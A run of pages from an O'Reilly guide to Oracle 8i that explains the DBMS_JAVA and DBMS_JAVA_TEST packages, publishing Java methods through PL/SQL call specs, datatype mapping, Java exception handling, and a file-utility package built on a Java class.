  • If you use the CREATE JAVA DDL command, then the source for your Java element is stored in the database. You will then find an entry in your USER_OBJECTS (as well as DBA_OBJECTS and ALL_OBJECTS) view for that element with type "JAVA SOURCE". You can then use the DBMS_JAVA.EXPORT_SOURCE procedure to extract that source into PL/SQL data structures and display or manipulate the text. See the showjava.sp file, discussed later in this chapter, for an example of such a procedure.

Previous: 9.5 Using dropjava | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.7 Using DBMS_JAVA and DBMS_JAVA_TEST
9.5 Using dropjava | Book Index | 9.7 Using DBMS_JAVA and DBMS_JAVA_TEST
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.7 Using DBMS_JAVA and DBMS_JAVA_TEST

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.7 Using DBMS_JAVA and DBMS_JAVA_TEST

The new Oracle built-in package DBMS_JAVA gives you access to, and the ability to modify, various characteristics of the Aurora Java Virtual Machine. The DBMS_JAVA_TEST package lets you test your Java stored procedures.

The DBMS_JAVA package contains a large number of programs, many of which are intended for Oracle internal use only. Nevertheless, there are a number of very useful programs that we can take advantage of. Most of these programs can also be called within SQL statements. Table 9.5 summarizes the programs.

Table 9.5: DBMS_JAVA Programs
Program | Description
LONGNAME function | Obtains the full (long) Java name for a given Oracle short name
GET_COMPILER_OPTION function | Looks up an option in the Java options table
SET_COMPILER_OPTION procedure | Sets a value in the Java options table and creates the table, if one does not exist
RESET_COMPILER_OPTION procedure | Resets a compiler option in the Java options table
SET_OUTPUT procedure | Redirects Java output to the DBMS_OUTPUT text buffer
EXPORT_SOURCE procedure | Exports a Java source schema object into an Oracle large object (LOB)
EXPORT_RESOURCE procedure | Exports a Java resource schema object into an Oracle large object (LOB)
EXPORT_CLASS procedure | Exports a Java class schema object into an Oracle large object (LOB)

9.7.1 LONGNAME: Converting Java Long Names

Java class and method names can easily exceed the maximum SQL identifier length of 30 characters. In such cases, Oracle creates a unique "short name" for the Java code element and uses that name for SQL- and PL/SQL-related access.

Use the following function to obtain the full (long) name for a given short name:

FUNCTION DBMS_JAVA.LONGNAME (shortname VARCHAR2) RETURN VARCHAR2

The following query displays the long name for all Java classes defined in the currently connected schema for which the long name and short names do not match:

/* Filename on companion disk: longname.sql */
SELECT object_name shortname,
       DBMS_JAVA.LONGNAME (object_name) longname
  FROM USER_OBJECTS
  WHERE object_type = 'JAVA CLASS'
    AND object_name != DBMS_JAVA.LONGNAME (object_name);

This query is also available inside the myJava package found in the myJava.pkg file; its use is shown here. Suppose that I define a class with this name:

public class DropAnyObjectIdentifiedByTypeAndName {

That is too long for Oracle, and we can verify that Oracle creates its own short name as follows:

SQL> exec myjava.showlongnames
Short Name | Long Name
----------------------------------------------------
Short: /247421b0_DropAnyObjectIdentif
Long:  DropAnyObjectIdentifiedByTypeAndName

9.7.2 GET_, SET_, and RESET_COMPILER OPTIONS: Getting and Setting Compiler Options

You can also set compiler option values in the database table JAVA$OPTIONS (called the options table from here on). Then, you can selectively override those settings using loadjava command-line options. A row in the options table contains the names of source schema objects to which an option setting applies. You can use multiple rows to set the options differently for different source schema objects.

The compiler looks up options in the options table unless they are specified on the loadjava command line. If there is no options-table entry or command-line value for an option, the compiler uses the following default values (you can find more information about nondefault values in the Oracle8i SQLJ Developer's Guide and Reference documentation):

encoding = latin1
online = true      // applies only to SQLJ source files

You can get and set options-table entries using the following DBMS_ JAVA functions and procedures:

FUNCTION DBMS_JAVA.GET_COMPILER_OPTION (
   what VARCHAR2, optionName VARCHAR2)

PROCEDURE DBMS_JAVA.SET_COMPILER_OPTION (
   what VARCHAR2, optionName VARCHAR2, value VARCHAR2)

PROCEDURE DBMS_JAVA.RESET_COMPILER_OPTION (
   what VARCHAR2, optionName VARCHAR2)

The parameter what is the name of a Java package, the full name of a class, or the empty string. After searching the options table, the compiler selects the row in which what most closely matches the full name of the schema object. If what is the empty string, it matches the name of any schema object.

optionName is the name of the option being set. Initially, a schema does not have an options table. To create one, use the procedure DBMS_ JAVA.SET_COMPILER_OPTION to set a value. The procedure creates the table if it does not exist. Enclose parameters in single quotes, as shown in the following example:

SQL> DBMS_JAVA.SET_COMPILER_OPTION ('X.sqlj', 'online', 'false');

9.7.3 SET_OUTPUT: Enabling Output from Java

The System.out and System.err classes send their output to the current trace files (when executed within the Oracle database). This is certainly not a very convenient repository if you simply want to test your code to see if it is working properly. DBMS_JAVA supplies a procedure you can call to redirect output to the DBMS_OUTPUT text buffer so that it can be flushed to your SQL*Plus screen automatically. The syntax of this procedure is:

PROCEDURE DBMS_JAVA.SET_OUTPUT (buffersize NUMBER);

Here is an example of how you would use this program:

//* Filename on companion disk:  ssoo.sql */
SET SERVEROUTPUT ON SIZE 1000000
CALL DBMS_JAVA.SET_OUTPUT (1000000);

Documentation on the interaction between these two commands is skimpy; my testing has uncovered the following rules:

  • The minimum (and default) buffer size is a measly 2000 bytes; the maximum size is 1,000,000 bytes. You can pass a number outside of that range without causing an error (unless the number is really big); it will simply be ignored.

  • The buffer size specified by SET SERVEROUTPUT supersedes that of DBMS_JAVA.SET_OUTPUT. If, in other words, you provide a smaller value for the DBMS_JAVA call, it will be ignored, and the larger size used.

  • If your output in Java exceeds the buffer size, you will not receive the error you get with DBMS_OUTPUT, namely:

    ORU-10027: buffer overflow, limit of nnn bytes

    The output will instead be truncated to the buffer size specified, and execution of your code will continue.

As is the case with DBMS_OUTPUT, you will not see any output from your Java calls until the stored procedure through which they are called finishes executing.

9.7.4 EXPORT_SOURCE, _RESOURCE, and _CLASS: Exporting Schema Objects

Oracle's DBMS_JAVA package offers the following set of procedures to export source, resources, and classes:

PROCEDURE DBMS_JAVA.EXPORT_SOURCE (
   name VARCHAR2,
   [ blob BLOB | clob CLOB ]
   );

PROCEDURE DBMS_JAVA.EXPORT_SOURCE (
   name VARCHAR2,
   schema VARCHAR2,
   [ blob BLOB | clob CLOB ]
   );

PROCEDURE DBMS_JAVA.EXPORT_RESOURCE (
   name VARCHAR2,
   [ blob BLOB | clob CLOB ]
   );

PROCEDURE DBMS_JAVA.EXPORT_RESOURCE (
   name VARCHAR2,
   schema VARCHAR2,
   [ blob BLOB | clob CLOB ]
   );

PROCEDURE DBMS_JAVA.EXPORT_CLASS (
   name VARCHAR2,
   blob BLOB
   );

PROCEDURE DBMS_JAVA.EXPORT_CLASS (
   name VARCHAR2,
   schema VARCHAR2,
   blob BLOB
   );

In all cases, name is the name of the Java schema object to be exported, schema is the name of the schema owning the object (if not supplied, then the current schema is used), and blob|clob is the large object that receives the specified Java schema object.

You cannot export a class into a CLOB, only into a BLOB. In addition, the internal representation of the source uses the UTF8 format, so that format is used to store the source in the BLOB as well.

The following prototype procedure offers an idea of how you might use the export programs to obtain source code of your Java schema objects, when appropriate:

/* Filename on companion disk: showjava.sp */
CREATE OR REPLACE PROCEDURE show_java_source (
   name IN VARCHAR2,
   schema IN VARCHAR2 := NULL
   )
IS
  b CLOB;
  v VARCHAR2(2000) ;
  i INTEGER ;
BEGIN
  /* Move the Java source code to a CLOB. */
  DBMS_LOB.CREATETEMPORARY (b, FALSE);
  DBMS_JAVA.EXPORT_SOURCE (name, NVL (schema, USER), b);

  /* Read the CLOB to a VARCHAR2 variable and display it. */
  i := 1000;
  DBMS_LOB.READ (b, i, 1, v);
  pl (v); /* run pl.sp to create this procedure */
END;
/

If I then create a Java source object using the CREATE JAVA statement as follows:

CREATE OR REPLACE JAVA SOURCE NAMED "Hello"
AS
   public class Hello {
      public static String hello() {
         return "Hello Oracle World";
         }
      };
/

I can view the source code as shown here (assuming that DBMS_OUTPUT has been enabled):

SQL> exec show_java_source ('Hello')
public class Hello {
      public static String hello() {
         return "Hello
 Oracle World";
         }
      };

9.7.5 Using DBMS_JAVA_TEST

DBMS_ JAVA_TEST provides a facility for testing your Java stored procedures. It contains a single, overloaded function named FUNCALL, as in "function call." It has this header:

FUNCTION DBMS_JAVA_TEST.FUNCALL (
 class  IN VARCHAR2,
 method IN VARCHAR2,
 s1  IN VARCHAR2 := NULL, s2  IN VARCHAR2 := NULL,
 s3  IN VARCHAR2 := NULL, s4  IN VARCHAR2 := NULL,
 s5  IN VARCHAR2 := NULL, s6  IN VARCHAR2 := NULL,
 s7  IN VARCHAR2 := NULL, s8  IN VARCHAR2 := NULL,
 s9  IN VARCHAR2 := NULL, s10 IN VARCHAR2 := NULL,
 s11 IN VARCHAR2 := NULL, s12 IN VARCHAR2 := NULL,
 s13 IN VARCHAR2 := NULL, s14 IN VARCHAR2 := NULL,
 s15 IN VARCHAR2 := NULL, s16 IN VARCHAR2 := NULL,
 s17 IN VARCHAR2 := NULL, s18 IN VARCHAR2 := NULL,
 s19 IN VARCHAR2 := NULL, s20 IN VARCHAR2 := NULL)
 RETURN VARCHAR2

In actuality, DBMS_ JAVA_TEST contains 20 overloadings of FUNCALL, each with a different number of s1 through s20 parameters, without any NULL default values. That interface is required for the call through to Java.

Here is an example of calling this function:

BEGIN
   p.l (DBMS_JAVA_TEST.FUNCALL (
          'JFile2', 'length', 'd:\java\jfile2.java'));
END;
/

TIP: At the time of publication, calls to DBMS_JAVA_TEST.FUNCALL did not return any values; it is unclear whether this functionality is to be used by PL/SQL developers.

Previous: 9.6 Managing Java in the Database | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.8 Publishing and Using Java in PL/SQL
9.6 Managing Java in the Database | Book Index | 9.8 Publishing and Using Java in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.8 Publishing and Using Java in PL/SQL

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.8 Publishing and Using Java in PL/SQL

Once you have written your Java classes and loaded them into the Oracle RDBMS, you can call their methods from within PL/SQL (and SQL) -- but only after you "publish" those methods via a PL/SQL wrapper.

9.8.1 Call Specs

You only need to build wrappers in PL/SQL for those Java methods you want to make available through a PL/SQL interface. Java methods can access other Java methods in the Java Virtual Machine directly, without any need for a wrapper. To publish a Java method, you write a call spec -- a PL/SQL program header (function or procedure) whose body is actually a call to a Java method via the LANGUAGE JAVA clause. This clause contains the following information about the Java method: its full name, its parameter types, and its return type. You can define these call specs as standalone functions or procedures, as programs within a package, and as methods in an object type:

CREATE [OR REPLACE] --Only if a standalone program
<Standard PL/SQL procedure/function header>
{IS | AS} LANGUAGE JAVA
NAME 'method_fullname (java_type_fullname[, java_type_fullname]...)
  [return java_type_fullname]';

Where java_type_fullname is the full name of the Java type, such as java.lang.String.

The NAME clause string identifies uniquely the Java method being wrapped. The fully qualified Java names and the call spec parameters, which are mapped by position only, must correspond, one to one, with the parameters in the program. If the Java method takes no arguments, code an empty parameter list for it but not for the function or procedure.

Here are a few examples:

  • A standalone function calling a method:

CREATE OR REPLACE FUNCTION fDelete (
   file IN VARCHAR2)
   RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JDelete.delete (
            java.lang.String)
            return int';

  • A packaged procedure with the LANGUAGE clause in the specification that passes an object type as a parameter:

CREATE OR REPLACE PACKAGE nat_health_care
IS
   PROCEDURE consolidate_insurer (ins Insurer)
      AS LANGUAGE JAVA
      NAME 'NHC_consolidation.process(oracle.sql.STRUCT)';
END nat_health_care;

  • An object type method with the LANGUAGE clause in the specification:

CREATE TYPE WarCriminal AS OBJECT (
  name VARCHAR2(100),
  victim_count NUMBER,
  MEMBER FUNCTION sentencing_date (
    name_in IN VARCHAR2) RETURN DATE
    AS LANGUAGE JAVA
    NAME 'warCriminal.dos (java.lang.String)
             return java.sql.Timestamp'

9.8.2 Some Rules for Java Wrappers

Note the following rules for Java wrappers:

  • A PL/SQL call spec and the Java method it publishes must reside in the same schema.

  • A call spec exposes a Java method's top-level entry point to Oracle. As a result, you can publish only public static methods, unless you are defining a member method of a SQL object type. In this case, you can publish instance methods as member methods of that type.

  • A method in object-oriented languages cannot assign values to objects passed as arguments; the point of the method is to apply to the object to which it is attached. When you want to call a method from SQL or PL/SQL and change the value of an argument, you must declare it as an OUT or IN OUT parameter in the call spec. The corresponding Java parameter must then be a one-element array.

  • You can replace the element value with another Java object of the appropriate type, or (for IN OUT parameters only) modify the value if the Java type permits. Either way, the new value propagates back to the caller. For example, you might map a call spec OUT parameter of type NUMBER to a Java parameter declared as float[] p, then assign a new value to p[0].

TIP: A function that declares OUT or IN OUT parameters cannot be called from SQL DML statements.

9.8.3 Mapping Datatypes

Earlier, I showed you one very simple example of a PL/SQL wrapper. That delete function passed a VARCHAR2 value to a java.lang.String parameter. The Java method returned an int, which was then passed back through the RETURN NUMBER clause of the PL/SQL function. Those are two straightforward examples of datatype mapping, that is, setting up a correspondence between a PL/SQL datatype and a Java datatype.

When you build a PL/SQL call spec, the PL/SQL and Java parameters, as well as the function result, are related by position and must have compatible datatypes. Table 9.6 lists all the datatype mappings currently allowed between PL/SQL and Java. If you rely on a supported datatype mapping, Oracle will convert from one to the other automatically.

As you can see with a quick glance at the mapping table, Oracle supports only automatic conversion for SQL datatypes. PL/SQL-specific datatypes, including BINARY_INTEGER, PLS_INTEGER, BOOLEAN, and index-by table types, are not supported. In those cases, you will have to perform manual conversion steps to transfer data between these two execution environments. See Section 9.9 for examples of nondefault mappings; see Oracle documentation for even more detailed examples involving the use of JDBC.

Table 9.6: Legal Datatype Mappings

SQL Type

Java Class

CHAR, NCHAR, LONG, VARCHAR2, NVARCHAR2

oracle.sql.CHAR
java.lang.String
java.sql.Date
java.sql.Time
java.sql.Timestamp
java.lang.Byte
java.lang.Short
java.lang.Integer
java.lang.Long
java.lang.Float
java.lang.Double
java.math.BigDecimal
byte, short, int, long, float, double

DATE

oracle.sql.DATE
java.sql.Date
java.sql.Time
java.sql.Timestamp
java.lang.String

NUMBER

oracle.sql.NUMBER
java.lang.Byte
java.lang.Short
java.lang.Integer
java.lang.Long
java.lang.Float
java.lang.Double
java.math.BigDecimal
byte, short, int, long, float, double

RAW, LONG RAW

oracle.sql.RAW
byte[]

ROWID

oracle.sql.CHAR
oracle.sql.ROWID
java.lang.String

BFILE

oracle.sql.BFILE

BLOB

oracle.sql.BLOB
oracle.jdbc2.Blob

CLOB, NCLOB

oracle.sql.CLOB
oracle.jdbc2.Clob

OBJECT

oracle.sql.STRUCT
oracle.SqljData
oracle.jdbc2.Struct

REF

oracle.sql.REF
oracle.jdbc2.Ref

TABLE, VARRAY

oracle.sql.ARRAY
oracle.jdbc2.Array

Any of the above SQL types

oracle.sql.CustomDatum
oracle.sql.Datum

9.8.4 Calling a Java Method in SQL

You can call PL/SQL functions of your own creation from within SQL DML statements. You can also call Java methods wrapped in PL/SQL from within SQL. However, these methods must conform to the following purity rules:

  • If you call a method from a SELECT statement or a parallelized INSERT, UPDATE, or DELETE statement, the method is not allowed to modify any database tables.

  • If you call a method from an INSERT, UPDATE, or DELETE statement, the method cannot query or modify any database tables modified by that statement.

  • If you call a method from a SELECT, INSERT, UPDATE, or DELETE statement, it cannot execute SQL transaction control statements (such as COMMIT), session control statements (such as SET ROLE), or system control statements (such as ALTER SYSTEM). You also cannot execute DDL statements, since they automatically perform a commit in your session.

The objective of these restrictions is to control side effects that might disrupt your SQL statements. If you try to execute a SQL statement that calls a method violating any of these rules, you will receive a runtime error when the SQL statement is parsed.

It is also possible to call Java from PL/SQL via the SQL layer using the CALL command syntax and native dynamic SQL, as shown in the following code (the implementation of dropany is shown in the next section):

DECLARE
   Tp varchar2(30):='TABLE';
   Nm varchar2(30):='mytable';
BEGIN
   EXECUTE IMMEDIATE 'CALL dropany(:tp,:nm)' USING tp, nm;
END;

9.8.5 Exception Handling with Java

On the one hand, the Java exception handling architecture is very similar to that of PL/SQL. In Java-speak, you throw an exception and then catch it. In PL/SQL-speak, you raise an exception and then handle it.

On the other hand, exception handling in Java is much more robust. Java offers a foundation class called Exception. All exceptions are objects based on that class, or on classes derived from (extending) Exception. You can pass exceptions as parameters and manipulate them pretty much as you would objects of any other class.

When a Java stored method executes a SQL statement and an exception is thrown, then that exception is an object from a subclass of java.sql.SQLException. That class contains two methods that return the Oracle error code and error message: getErrorCode( ) and getMessage( ).

If a Java stored procedure called from SQL or PL/SQL throws an exception that is not caught by the JVM, the caller gets an exception thrown from a Java error message. This is how all uncaught exceptions (including non-SQL exceptions) are reported. Let's take a look at different ways of handling errors and the resulting output.

Suppose that I create a class that relies on JDBC to drop objects in the database (this is drawn from an example in Oracle documentation):

/* Filename on companion disk: dropany.java */
import java.sql.*;
import java.io.*;
import oracle.jdbc.driver.*;

public class DropAny {
  public static void object (String object_type, String object_name)
  throws SQLException {
    // Connect to Oracle using JDBC driver
    Connection conn = new OracleDriver().defaultConnection();
    // Build SQL statement
    String sql = "DROP " + object_type + " " + object_name;
    try {
      Statement stmt = conn.createStatement();
      stmt.executeUpdate(sql);
      stmt.close();
    } catch (SQLException e) {System.err.println(e.getMessage());}
  }
}

TIP: Of course, it doesn't really make any sense to rely on JDBC to perform a drop object action, since this can be done much more easily in native PL/SQL. On the other hand, building it in Java does make the functionality available to other Java programs.

This version traps and displays any SQLException with this line:

} catch (SQLException e) {System.err.println(e.getMessage());}

I wrap this class inside a PL/SQL procedure as follows:

CREATE OR REPLACE PROCEDURE dropany (
   tp IN VARCHAR2,
   nm IN VARCHAR2
   )
AS LANGUAGE JAVA
   NAME 'DropAny.object (
            java.lang.String,
            java.lang.String)';
/

When I attempt to drop a nonexistent object, I will see one of the following two outcomes:

SQL> CONNECT scott/tiger
Connected.
SQL> SET SERVEROUTPUT ON
SQL> BEGIN dropany ('TABLE', 'blip'); END;
/
PL/SQL procedure successfully completed.

SQL> CALL DBMS_JAVA.SET_OUTPUT (1000000);

Call completed.

SQL> BEGIN dropany ('TABLE', 'blip'); END;
/
ORA-00942: table or view does not exist

What you are seeing in these examples is a reminder that output from System.err.println will not appear on your screen until you explicitly enable it with a call to DBMS_ JAVA.SET_OUTPUT. In either case, however, no exception was raised back to the calling block, since it was caught inside Java. After the second call to dropany, you can see that the error message supplied through the getMessage( ) method is one taken directly from Oracle.

If I comment out the try and catch lines in the DropAny.obj method, I will get very different behavior, as shown:

SQL> BEGIN
  2     dropany ('TABLE', 'blip');
  3  EXCEPTION
  4     WHEN OTHERS
  5     THEN
  6        DBMS_OUTPUT.PUT_LINE (SQLCODE);
  7        DBMS_OUTPUT.PUT_LINE (SQLERRM);
  8  END;
  9  /
java.sql.SQLException: ORA-00942: table or view does not exist
  at oracle.jdbc.kprb.KprbDBAccess.check_error(KprbDBAccess.java)
  at oracle.jdbc.kprb.KprbDBAccess.parseExecuteFetch(KprbDBAccess.java)
  at oracle.jdbc.driver.OracleStatement.doExecuteOther(OracleStatement.java)
  at oracle.jdbc.driver.OracleStatement.doExecuteWithBatch(OracleStatement.java)
  at oracle.jdbc.driver.OracleStatement.doExecute(OracleStatement.java)
  at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java)
  at oracle.jdbc.driver.OracleStatement.executeUpdate(OracleStatement.java)
  at DropAny.object(DropAny.java:14)

-29532
ORA-29532: Java call terminated by uncaught Java exception: java.sql.SQLException: ORA-00942: table or view does not exist

This takes a little explaining. Everything between:

java.sql.SQLException: ORA-00942: table or view does not exist

and

-29532

represents an error stack dump generated by Java and sent to standard output, regardless of how you handle the error in PL/SQL. In other words, even if my exception section looked like this:

EXCEPTION WHEN OTHERS THEN NULL;

I would still get all that output to the screen, and then processing in the outer block (if any) would continue. The last three lines of output displayed are generated by the calls to DBMS_OUTPUT.PUT_LINE. Notice that the Oracle error is not ORA-00942, but instead is ORA-29532, a generic Java error. This is a problem. If you trap the error, how can you discover what the real error is? Looks like it's time for Write-A-Utility Man!

It appears to me that the error returned by SQLERRM is of this form:

ORA-29532: Java call ...: java.sql.SQLException: ORA-NNNNN ...

So I can scan for the presence of "java.sql.SQLException" and then SUBSTR from there. Here is a procedure that returns the error code and message for the current error, building in the smarts to compensate for the Java error message format:

/* Filename on companion disk: getErrorInfo.sp */
CREATE OR REPLACE PROCEDURE getErrorInfo (
   errcode OUT INTEGER,
   errtext OUT VARCHAR2)
IS
   c_keyword CONSTANT CHAR(23) := 'java.sql.SQLException: ';
   c_keyword_len CONSTANT PLS_INTEGER := 23;
   v_keyword_loc PLS_INTEGER;
   v_msg VARCHAR2(1000) := SQLERRM;
BEGIN
   v_keyword_loc := INSTR (v_msg, c_keyword);
   IF v_keyword_loc = 0
   THEN
      errcode := SQLCODE;
      errtext := SQLERRM;
   ELSE
      errtext := SUBSTR (
         v_msg, v_keyword_loc + c_keyword_len);
      errcode :=
         SUBSTR (errtext, 4, 6 /* ORA-NNNNN */);
   END IF;
END;
/

The following block demonstrates how I might use this procedure (it relies on the log81 package, created by the log81.pkg file, to write the error information to the log):

/* Filename on companion disk: dropany2.tst */
BEGIN
   dropany ('TABLE', 'blip');
EXCEPTION
   WHEN OTHERS
   THEN
      DECLARE
         v_errcode PLS_INTEGER;
         v_errtext VARCHAR2(1000);
      BEGIN
         getErrorInfo (v_errcode, v_errtext);
         log81.saveline (v_errcode, v_errtext);
      END;
END;
/

TIP: Even though I am saving error information to the database log table, the Java exception stack will still be returned to the host session. If, for example, I were running the script in SQL*Plus, the Java exception stack would be displayed on the screen.

Previous: 9.7 Using DBMS_JAVA and DBMS_JAVA_TEST | Oracle PL/SQL Programming Guide to Oracle 8i Features | Next: 9.9 Examples
9.7 Using DBMS_JAVA and DBMS_JAVA_TEST | Book Index | 9.9 Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.9 Examples

Oracle PL/SQL Programming Guide to Oracle 8i Features

Oracle PL/SQL Programming Guide to Oracle 8i FeaturesSearch this book

9.9 Examples

The main focus in this section is an expansion of the JDelete class into the JFile class, providing significant new file-related features in PL/SQL. Following that, I'll explore how to write Java classes and PL/SQL programs around them to manipulate Oracle objects.

9.9.1 Extending File I/O Capabilities

The UTL_FILE package of Oracle is notable more for what is missing than for what it contains. With UTL_FILE, you can read and write the contents of files sequentially. That's it. You can't delete files, change privileges, copy a file, obtain the contents of a directory, set a path, etc., etc. Java to the rescue! Java offers lots of different classes to manipulate files. You've already met the File class, and seen how easy it is to add the "delete a file" capability to PL/SQL.

I am now going to take my lessons learned from JDelete and the rest of this chapter and create a new class called JFile that will allow PL/SQL developers to answer the questions and take the actions listed here:

  • Can I read from a file? Write to a file? Does a file exist? Is the named item a file or a directory?

  • What is the number of bytes in a file? What is the parent directory of a file?

  • What are the names of all the files in a directory that match a specified filter?

  • How can I make a directory? Rename a file? Change the extension on a file?

I'm not going to explain all the methods in the JFile class and its corresponding package. There is a lot of repetition; most of the Java methods look just like the delete( ) function I built at the beginning of the chapter. I will, instead, focus on the unique issues addressed in different areas of the class and package. You can find the full definition of the code in the following files on the companion disk:

JFile.java

A Java class that draws together various pieces of information about operating system files and offers it through an API accessible from PL/SQL.

xfile.pkg

The PL/SQL package that wraps the JFile class. Stands for "eXtra stuff for FILEs."

9.9.1.1 Polishing up the delete method

Before we move on to new and exciting stuff, we should make sure that what we've done so far is optimal -- and the way I defined the JDelete.delete( ) method and the delete_file function is far from ideal. Here's the code I showed you earlier:

public static int delete (String fileName) {
   File myFile = new File (fileName);
   boolean retval = myFile.delete();
   if (retval) return 1; else return 0;
   }

CREATE OR REPLACE FUNCTION fDelete (
   file IN VARCHAR2) RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JDelete.delete (java.lang.String)
            return int';
/

You might be asking yourself, so what's the problem? The problem is that I have been forced to use clumsy, numeric representations for TRUE/FALSE values. I must as a result write code like this:

IF fdelete ('c:\temp\temp.sql') = 1 THEN ...

and that is very ugly, hardcoded software. Not only is it ugly, but the person writing the PL/SQL code must know about the values for TRUE and FALSE embedded within a Java class.

I would much rather define a delete_file function with this header:

 FUNCTION fDelete (
   file IN VARCHAR2) RETURN BOOLEAN;

So let's see what it would take to be able to present that clean, easy-to-use API for users of the xfile package.

First, I will rename the JDelete class to JFile to reflect its growing scope. Then, I will add methods that encapsulate the TRUE/FALSE values its other methods will return -- and call those inside the delete( ) method. Here is the result:

/* Filename on companion disk: JFile.java */
import java.io.File;

public class JFile {

   public static int tVal () { return 1; };
   public static int fVal () { return 0; };

   public static int delete (String fileName) {
      File myFile = new File (fileName);
      boolean retval = myFile.delete();
      if (retval) return tVal();
         else return fVal();
      }
}

That takes care of the Java side of things; it's time to shift attention to my PL/SQL package. Here's the first pass at the specification of xfile:

/* Filename on companion disk: xfile.pkg */
CREATE OR REPLACE PACKAGE xfile
IS
   FUNCTION delete (file IN VARCHAR2)
      RETURN BOOLEAN;
END xfile;

So now we have the Boolean function specified. But how do we implement it? I have two design objectives:

  1. Hide the fact that I am relying on numeric values to pass back TRUE or FALSE.

  2. Avoid hardcoding the 1 and 0 values in the package.

To achieve these objectives, I will define two global variables in my package to hold the numeric values:

/* Filename on companion disk: xfile.pkg */
CREATE OR REPLACE PACKAGE BODY xfile
IS
   g_true INTEGER;
   g_false INTEGER;

And way down at the end of the package body, I will create an initialization section that calls these programs to initialize my globals. By taking this step in the initialization section, I avoid unnecessary calls (and overhead) to Java methods:

BEGIN
   g_true := tval;
   g_false := fval;
END xfile;

Back up in the declaration section of the package body, I will define two private functions, whose only purpose is to give me access in my PL/SQL code to the JFile methods that have encapsulated the 1 and 0:

FUNCTION tval RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JFile.tVal () return int';

FUNCTION fval RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JFile.fVal () return int';

I have now succeeded in soft-coding the TRUE/FALSE values in the JFile package. To enable the use of a true Boolean function in the package specification, I create a private "internal delete" function that is a wrapper for the JFile.delete( ) method. It returns a number:

FUNCTION Idelete (file IN VARCHAR2) RETURN NUMBER
AS LANGUAGE JAVA
   NAME 'JFile.delete (java.lang.String) return int';

Finally, my public delete function can now call Idelete and convert the integer value to a Boolean by checking against the global variable:

FUNCTION delete (file IN VARCHAR2) RETURN BOOLEAN
AS
BEGIN
   RETURN Idelete (file) = g_true;
EXCEPTION
   WHEN OTHERS
   THEN
      RETURN FALSE;
END;

And that is how you convert a Java Boolean to a PL/SQL Boolean. You will see this same method employed again and again in the xfile package body.

9.9.1.2 Obtaining directory contents

One of my favorite features of JFile is its ability to return a list of files found in a directory. It accomplishes this feat by calling the File.list( ) method; if the string you used to construct a new File object is the name of a directory, it returns a String array of filenames found in that directory. Let's see how I can make this information available in PL/SQL.

I create a String method called dirContents, as follows:

/* Filename on companion disk: JFile.java */
public static String dirContents (String dir) {
   File myDir = new File (dir);
   String[] filesList = myDir.list();
   String contents = new String();
   for (int i = 0; i < filesList.length; i++)
      contents = contents + listDelimiter + filesList[i];
   return contents;
   }

This method instantiates a File object called myDir and then assigns the myDir.list( ) to a String array called filesList. I then use a Java "for" loop to concatenate each of the files into a single String, separated by the listDelimiter, and return that String.

Over on the PL/SQL side of the world, I will create a wrapper that calls this method:

FUNCTION dirContents (dir IN VARCHAR2)
   RETURN VARCHAR2
   AS LANGUAGE JAVA
      NAME 'JFile.dirContents (java.lang.String)
               return java.lang.String';

But what am I do with this string? Let's build some additional code elements on top of my wrapper functions to make the information more developer friendly. First, I'd like to let users of xfile manipulate files either as string lists or as nested tables (much more structured data; easier to scan and manipulate). So I will define a nested table type as follows:

CREATE TYPE file_list_t IS TABLE OF VARCHAR2(2000);
/

Then I define a procedure to return the files in a directory in a nested table of this type. Note the call to the dirContents wrapper function and also the reference to g_listdelim, which contains the delimiter passed back from JFile (just like the numeric values for TRUE and FALSE):

PROCEDURE getDirContents (
   dir IN VARCHAR2,
   files IN OUT file_list_t)
IS
   file_list VARCHAR2(32767);
   next_delim PLS_INTEGER;
   start_pos PLS_INTEGER := 1;
BEGIN
   files.DELETE;

   file_list := dirContents (dir);

   LOOP
      next_delim :=
         INSTR (file_list, g_listdelim, start_pos);
      EXIT WHEN next_delim = 0;
      files.EXTEND;
      files(files.LAST) :=
         SUBSTR (file_list,
            start_pos,
            next_delim - start_pos);
      start_pos := next_delim + 1;
   END LOOP;
END;

From there, it's all just fun and games with PL/SQL. You will find in the xfile package the following programs built on top of getDirContents:

getDirContents, the filter version

Allows the user to pass a filter, such as "*.tmp" or "%.tmp", and retrieve only files that match the filter. The character "_" will be treated as a single-character wildcard, following the SQL standard.

showDirContents

Displays all the files found in the specified directory that match your filter.

chgext

Changes the extension of the specified files.

In the xfile package, you will also find all of the entry points of the UTL_FILE package, such as FOPEN and PUT_LINE. I add those so that you can avoid the use of UTL_FILE for anything but declarations of file handles as UTL_FILE.FILE_TYPE.

9.9.2 Passing Objects to Java

Suppose that a union-busting firm is meeting with some of the largest corporations in the United States to develop a strategy to diminish the power of unions in this country. They need to keep track of different sources of labor and how much they plan to pay them, so the computer geek present, name of Steven, creates the following object type in Oracle:

/* Filename on companion disk: collsql2.sql */
CREATE TYPE labor_source_t AS OBJECT
  (labor_type VARCHAR2(30), hourly_rate NUMBER);
